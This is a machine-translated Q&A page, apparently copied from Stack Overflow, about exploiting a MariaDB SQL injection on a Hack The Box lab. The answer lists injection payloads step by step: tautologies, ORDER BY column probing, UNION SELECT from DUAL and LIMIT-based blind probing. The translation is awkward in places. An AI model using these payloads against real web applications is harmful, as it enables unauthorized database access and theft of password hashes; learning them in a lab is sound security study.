当前位置: 首页 > 面试题库 >

MariaDb SQL注入

齐成和
2023-03-14
问题内容

我正在尝试(合法地)利用具有SQLi漏洞的MariaDb数据库。

我在这里发现了漏洞…

/?o=1&page=app

o=*是脆弱的,并产生下列错误…

DEBUG INFO: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '5' or dest like '1'') LIMIT 10' at line 1

我正在使用Burp Suite,并采用了以下语法,该语法似乎更接近商标,但仍会产生语法错误。

我认为它离商标更近了,因为错误只会吐出我介绍的查询,而不是“额外”字段:'5' or dest like '1'') LIMIT 10'

我假设这是原始查询的一部分,因为1它包含在内,当我使用其他随机字符串进行测试时,它仍然为真。

我从页面提示中知道的管理员密码哈希值是uid 1

这个查询我缺少什么?

SELECT Password FROM mysql.user WHERE (uid = '1' or dest like '%')-- ') LIMIT 10

编辑:这是在Hack The Box上完成的,所以没有讨厌的非法事情发生。


问题答案:

编辑:这是在Hack The Box上完成的,所以没有讨厌的非法事情发生。

好吧,那就找点乐子吧。

当我查看错误消息时

调试信息:您的SQL语法有错误。检查与您的MariaDB服务器版本相对应的手册以获取正确的语法,以'1'') LIMIT 10'在第1行附近使用‘5’或dest

我假设应用程序中的查询和代码或多或少都像这种伪方式,@o实际上是MySQL用户变量。

SELECT
 *
FROM
 DUMMY_TABLE
WHERE
 DUMMY_TABLE.o = '",@o,"'
LIMIT 10

我将使用SQL Fiddle 空间模拟SQL注入测试,并更多地访问其他表。

您可以测试您的注射剂,1' OR 1 = 1#或者1' OR 1 = 1--两者都可以工作,并且在1用作输入时应该给您相同的结果。这是因为MariaDB自动将其他数据库的类型转换为您可能需要使用更严格的版本的类型1' OR '1' = '1#

哪个应该产生

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10

要么

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10

然后,因为您在应用程序中看到错误,所以可以ORDER BY 1用来检查选择了多少列,并递增数字直到出现错误。

错误:ER_BAD_FIELD_ERROR:“ order子句”中的未知列“ 2”

注入

1' ORDER BY 1# 要么 1' ORDER BY 1--

这意味着在结果集中的第一列上进行排序,而 不是1文字进行排序。

产生

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10

要么

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10

当您知道这些列时,可以UNION用来进入其他表。使用NULL,如果你并不需要所有列。

注射

1' UNION ALL SELECT NULL FROM DUAL#

请注意,这DUAL是MariaDB,MySQL和Oracle中“虚拟”不存在的表,如果您可以查询该“表”,则意味着从技术上讲您也可以进入其他表。

生成的SQL

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10

而且,如果该网页被设计为“详细”页面,在该页面上总是可以看到一条记录,则需要LIMIT 1, 1在注入中添加一个。

如果Web应用程序中没有可见的错误,您应该只能够通过盲目的SQL注入盲目强行攻击,并查看应用程序的工作方式。在尝试强行使用已使用的列号之前,
还请尝试诸如或非常大的数字(例如最大INT值(有符号)或(无符号)),以便您了解应用程序如何处理找不到的记录。因为在数据类型上不太可能具有id
或那么大的数字,因为如果给出了最后一个数字,应用程序将停止工作。如果您仍然获得这些数字较高的记录,请改用数据类型的最大值。?o=0``?o=NULL``?o=2147483647``?o=4294967295``0``INT``BIGINT

对于第1列,相同的结果ID o=1
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

对于第2列,该列将发生错误,但很可能会出现错误页面或一条消息,提示未找到该记录。
或甜美的HTTP 404(未找到)错误状态。
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

LIMIT不使用时ORDER BY可能会遇到的一个问题是获得相同记录的机会,因为SQL标准已定义SQL表/结果集在不使用时是
无序的ORDER BY

因此,理想情况下,您需要继续使用ORDER BY 1暴力破解。

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#

对数据库的支持ORDER BY 1比我最初想到的要好,因为它可以在MySQL,MariaDB,SQL
Server(MSSQL)和PostgreSQL中工作。

还有ORDER BY 1一个SQL 92功能,该功能已在SQL 99中删除。
因此,实际上,如果SQL数据库ORDER BY 1此时要遵循SQL标准,则不应执行annymore。

SQL 92 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
      | <unsigned integer> # <- here it is

 <ordering specification> ::= ASC | DESC

vs SQL 1999 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
                        # <- missing

 <ordering specification> ::= ASC | DESC


 类似资料:
  • imi 中有一类注解,他们支持将值动态注入到注解属性中,当调用获取注解属性时,才实时计算并返回。 注解说明 @ConstValue 从常量中读取值 属性名称 说明 name 常量名 default 常量不存在时,返回的默认值 @ConfigValue 从配置中读取值 属性名称 说明 name 配置名,支持@app、@currentServer等用法 default 配置名,支持@app、@curr

  • 和和注释之间有什么区别? 我们应该在什么时候使用它们每一个?

  • 理解DLL 首先我们需要知道我们在启动一个程序的时候并没有把所有的需要用到的数据或者文件运行起来,而是只运行了关键部分,那么当我们需要调用到某一功能时再通过DLL来动态链接,不需要时就可以卸载,使得程序不显得臃肿。 DLL注入是什么 DLL注入就是将代码插入/注入到正在运行的进程中的过程。我们注入的代码是动态链接库(DLL)的形式。为什么可以做到这一点?因为DLL(如UNIX中的共享库)是在运行时

  • Java 元数据(Metadata)规范(JSR-175),是J2SE 5.0和更高版本的一部分,提供一种在Java代码中指定配置数据的方法。Java代码中的元数据也被称为注解。在JavaEE中,注解用于声明对外部资源的依赖和在Java代码中的配置数据而无需在配置文件中定义该数据。 本节描述了在Java EE技术兼容的Servlet容器中注解和资源注入的行为。本节扩展了Java EE规范第5节标题

  • 我是Spring Security的新手。我看过很多关于如何通过外部属性文件的注释注入值的文章。我尝试了很多方法,但最终都是用java。lang.IllegalArgumentException:无法解析占位符“val.id”异常。 你能给我一些提示如何处理这个例外吗? 我的java类如下所示: 我的属性文件名为val.properties,位于WEB-INF下,其内容为val.id=xyz 我将

  • 我有一个pb,我找不到解决方案,因为我认为我的项目中有多个pb相关: 有人能帮我吗?我可以给你链接到git存储库,也可以看到所有的项目。谢谢。

  • 我找到了一些答案:https://stackoverflow.com/a/21218921/2754014 关于依赖注入。没有任何注释,如,或。让我们假设此示例没有任何 XML 配置 的 bean (除了简单

  • 主要内容:防止 SQL 注入如果您的站点允许用户通过网页输入,并将输入内容插入到 SQLite 数据库中,这个时候您就面临着一个被称为 SQL 注入的安全问题。本章节将向您讲解如何防止这种情况的发生,确保脚本和 SQLite 语句的安全。 注入通常在请求用户输入时发生,比如需要用户输入姓名,但用户却输入了一个 SQLite 语句,而这语句就会在不知不觉中在数据库上运行。 永远不要相信用户提供的数据,所以只处理通过验证的数据,